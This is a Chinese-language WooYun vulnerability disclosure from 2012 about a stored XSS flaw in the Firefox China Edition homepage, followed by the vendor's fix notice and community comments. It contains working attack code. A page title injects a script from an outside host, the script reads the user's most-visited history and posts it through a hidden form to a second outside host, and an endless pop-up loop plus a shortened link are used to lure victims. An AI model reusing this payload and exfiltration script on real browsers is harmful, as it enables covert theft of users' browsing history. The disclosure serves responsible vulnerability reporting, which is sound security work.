当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011398

漏洞标题:利用火狐主页窃取用户浏览信息。

相关厂商:火狐浏览器

漏洞作者: P1n9y_fly

提交时间:2012-08-27 15:39

修复时间:2012-10-11 15:40

公开时间:2012-10-11 15:40

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-27: 细节已通知厂商并且等待厂商处理中
2012-08-27: 厂商已经确认,细节仅向厂商公开
2012-08-30: 细节向第三方安全合作伙伴开放
2012-10-21: 细节向核心白帽子及相关领域专家公开
2012-10-31: 细节向普通白帽子公开
2012-11-10: 细节向实习白帽子公开
2012-10-11: 细节向公众公开

简要描述:

利用火狐主页窃取用户浏览信息

详细说明:

火狐主页,就是我们一打开浏览器,默认跳转到的那个页面。
遇见一件很奇怪的事情,虽然百度搜索那个地方木有XSS但是还是习惯性的去搜索这个关键字,看有没有别人在哪测试。


然后奇怪的事情就发生了:


我把浏览器关上,然后再打开结果就被弹了,百思不得其解,最后在这里发现了答案


原来是火狐主页会读取用户的历史记录并显示在网页上,但是恰好网页名字木有过滤。
然后又在想,既然有XSS,又有历史记录,那我们不是可以通过这个获取用户的浏览历史记录么?
将整个页面下载下来后,查看他的源代码。发现其调用的index.js里面有关于获取历史记录的代码


var HOMEPAGE={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
if(HOMEPAGE.is_gecko){
$(window).load(function(){
if(window['cehomepage']){
var startup=window.cehomepage.startup;
if((startup.homepage()==startup.cehomepage()||startup.homepage()=='http://i.firefoxchina.cn/'||startup.homepage()=='about:cehome')&&startup.page()==1){
if(!startup.homepage_changed()||startup.homepage()==startup.cehomepage()||startup.homepage()=='http://i.firefoxchina.cn/'||startup.homepage()=='about:cehome'){
$("#child651").hide();
}else{
$("#child651").show();
}
}else{
$("#child651").show();
}
HOMEPAGE.writeLog();
}else{
$("#mylog").html("<a href='"+HOMEPAGE.hp_xpi+"' style='margin:50px;display:block;text-align:center;'>要使用此功能,请安装火狐主页扩展!</a>");
}
});
}else{
$("#mylog").html("<a href='http://firefox.com.cn' style='margin:50px;display:block;text-align:center;'>要使用此功能,请使用高速、安全的火狐浏览器!</a>");
}
},writeLog:function(){
HOMEPAGE.mosts=window.cehomepage.frequent.query(8);
for(var i in HOMEPAGE.mosts){
$("#mylogmost").append("<li><span></span><a href='"+HOMEPAGE.mosts[i].uri+"' title='"+(HOMEPAGE.mosts[i].title||HOMEPAGE.mosts[i].uri)+"'>"+(HOMEPAGE.mosts[i].title||HOMEPAGE.mosts[i].uri)+"</a></li>");
}


根据这一段代码我构造出一个相同功能的JS文件,并将历史记录ALERT出来:

var testpage={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
//alert("init run");
if(testpage.is_gecko){
//alert("is_gecko");
testpage.writeLog();
}else{
//alert("not_gecko");
}
},writeLog:function(){
testpage.mosts=window.cehomepage.frequent.query(8);
for(var i in testpage.mosts){
alert(testpage.mosts[i].uri);
}
}
}
//alert("page run");
testpage.init();


弄好了之后我们试一下:
在百度中搜索:"/><script/src=http://pinqy520.duapp.com/ff.js></script>
关闭浏览器后重新打开


发现我的浏览记录果断的被弹出来了。
然后我们就来研究进一步利用,我们构造了一个网页:w.html

<html>
<head>
<title>&quot;&gt;&lt;script/src=http://pinqy520.duapp.com/n.js&gt;&lt;/script&gt;</title>
</head>
<script language="javascript">
window.open("http://pinqy520.duapp.com/w.html");
</script>


然后构造一个JS文件获取用户浏览器历史记录:n.js

function formSubmit(elementValue) {
var hextxs = document.createElement("form");
//一定要加入到body中!!
document.body.appendChild(hextxs);
hextxs.method = 'post';
hextxs.action = 'http://kocteg.duapp.com/a.php';
hextxs.target = 'actionframe';
//创建隐藏表单
var riskversion = document.createElement("input");
riskversion.setAttribute("name","v");
riskversion.setAttribute("type","hidden");
riskversion.setAttribute("value","f");
hextxs.appendChild(riskversion);

var getcookies = document.createElement("input");
getcookies.setAttribute("name","c");
getcookies.setAttribute("type","hidden");
getcookies.setAttribute("value",elementValue);
hextxs.appendChild(getcookies);
hextxs.submit();
}
var testpage={
is_gecko:((window.Components+'')=='[object nsXPCComponents]'),hp_xpi:window['cehp_xpi']?window['cehp_xpi']:'http://download.firefox.com.cn/chinaedition/addons/cehomepage/cehomepage-latest.xpi',mosts:[],lasts:[],init:function(){
//alert("init run");
if(testpage.is_gecko){
//alert("is_gecko");
testpage.writeLog();
}else{
//alert("not_gecko");
}
},writeLog:function(){
testpage.mosts=window.cehomepage.frequent.query(8);
var t="";
for(var i in testpage.mosts){
//alert(testpage.mosts[i].uri);
//t+="("+i+")url:"+testpage.mosts[i].uri+";name:"+(testpage.mosts[i].title||testpage.mosts[i].uri)+";";
t+="("+i+")url:"+testpage.mosts[i].uri+";";
}
//alert(t);
formSubmit(t);
}
}
//alert("page run");
testpage.init();


我们将网址:http://pinqy520.duapp.com/w.html
弄成一个短地址:http://126.am/3wYfI3
发给别人
点开之后


网页无限被打开
然后我们再加点,一看就知道是恶心广告的东西,一点开,什么都不想,直接关闭火狐。
然后再重新打开的时候,因为我的网页名字被设置成了
"/><script/src=http://pinqy520.duapp.com/n.js></script>
由于火狐主页的那个XSS,就会被调用,然后执行其中的JS代码。用户的浏览信息就被传到我这里来了- -
而因为网页打开次数很多,网页很有可能被加载到最常访问的页面,那一栏- -
这就更悲剧了,每次开开心心的打开火狐浏览器- -亲爱的浏览记录就都跑到我这里来了 = =。
如下图。


以上。

漏洞证明:

灰常谢谢goderci牛给的那个无限弹窗口导致人想关显示器的建议。。。

修复方案:

过来。。。。

版权声明:转载请注明来源 P1n9y_fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-08-27 21:39

厂商回复:

火狐主页已经修复了这个漏洞,并且上线了。非常感谢P1n9y_fly和乌云网对火狐浏览器的支持。xss漏洞真是防不胜防。希望今后能得到各位继续支持,共建美好而安全的互联网世界。

最新状态:

2012-08-27:这个漏洞是由于火狐主页显示用户浏览过的网页title时,如遇页面title内容含script标签,会导致远程脚本注入页面,有可能致使页面内其他内容(用户最常\最近访问网址)被第三方网站抓取。这个漏洞类型:xss类,触发方式:用户主动触发,涉及数据:历史纪录。所以我们评定危害等级中级。


漏洞评价:

评论

  1. 2012-08-27 14:11 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    非常赞!

  2. 2012-08-27 14:24 | zidane ( 路人 | Rank:13 漏洞数:2 | 噢 乖,你们应该明白 这样下去对我们谁都不...)

    这下有意思了

  3. 2012-08-27 14:24 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    @xsser 啊。。公开了T0T

  4. 2012-08-27 14:25 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @P1n9y_fly 额 操作失误 等待认领吧

  5. 2012-08-27 14:27 | zidane ( 路人 | Rank:13 漏洞数:2 | 噢 乖,你们应该明白 这样下去对我们谁都不...)

    我是乱入的。。。我什么也没看到

  6. 2012-08-27 14:29 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    @xsser 话说,能联系到厂商么。。。T-T

  7. 2012-08-27 14:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @P1n9y_fly 我看了 是不是中文版的额?

  8. 2012-08-27 14:33 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    @xsser 嗯。。中文版的。。

  9. 2012-08-27 14:42 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @P1n9y_fly OK,我去联系鸟

  10. 2012-08-27 14:46 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    @xsser 嗯。。:]

  11. 2012-08-27 15:12 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    NB

  12. 2012-08-27 15:13 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    膜拜~

  13. 2012-08-27 15:17 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    赞~

  14. 2012-08-27 16:02 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    剑心NB。一下子就联系上了

  15. 2012-08-27 16:04 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    真心好快。。。

  16. 2012-08-27 16:09 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    威武

  17. 2012-08-27 16:30 | Anony ( 实习白帽子 | Rank:38 漏洞数:5 | 乌云白帽子一枚)

    神马情况

  18. 2012-08-27 16:49 | Defa ( 普通白帽子 | Rank:113 漏洞数:13 | <img src=1 onerror=alert(1)>)

    顶洞主

  19. 2012-08-27 22:10 | P1n9y_fly ( 实习白帽子 | Rank:97 漏洞数:11 | ضصششسسزرذخكللممنيئؤؤ...)

    @火狐浏览器 你们好坦率。。。已经公布出来了。。。

  20. 2012-08-28 13:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    火狐都来啦~~ 啥时候chrome也能来~~

  21. 2012-08-29 15:21 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    顶洞主

  22. 2012-08-29 15:24 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @gainover 来个漏洞就可以了

  23. 2012-09-27 17:15 | zidane ( 路人 | Rank:13 漏洞数:2 | 噢 乖,你们应该明白 这样下去对我们谁都不...)

    这个其实非常棒

  24. 2012-10-07 15:01 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @P1n9y_fly 我在 IOS CHROME上发现了类似的问题,也是自动执行历史记录,洞主你看能不能-0-

  25. 2012-10-11 15:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    应该加精

  26. 2012-10-23 20:41 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    好流弊.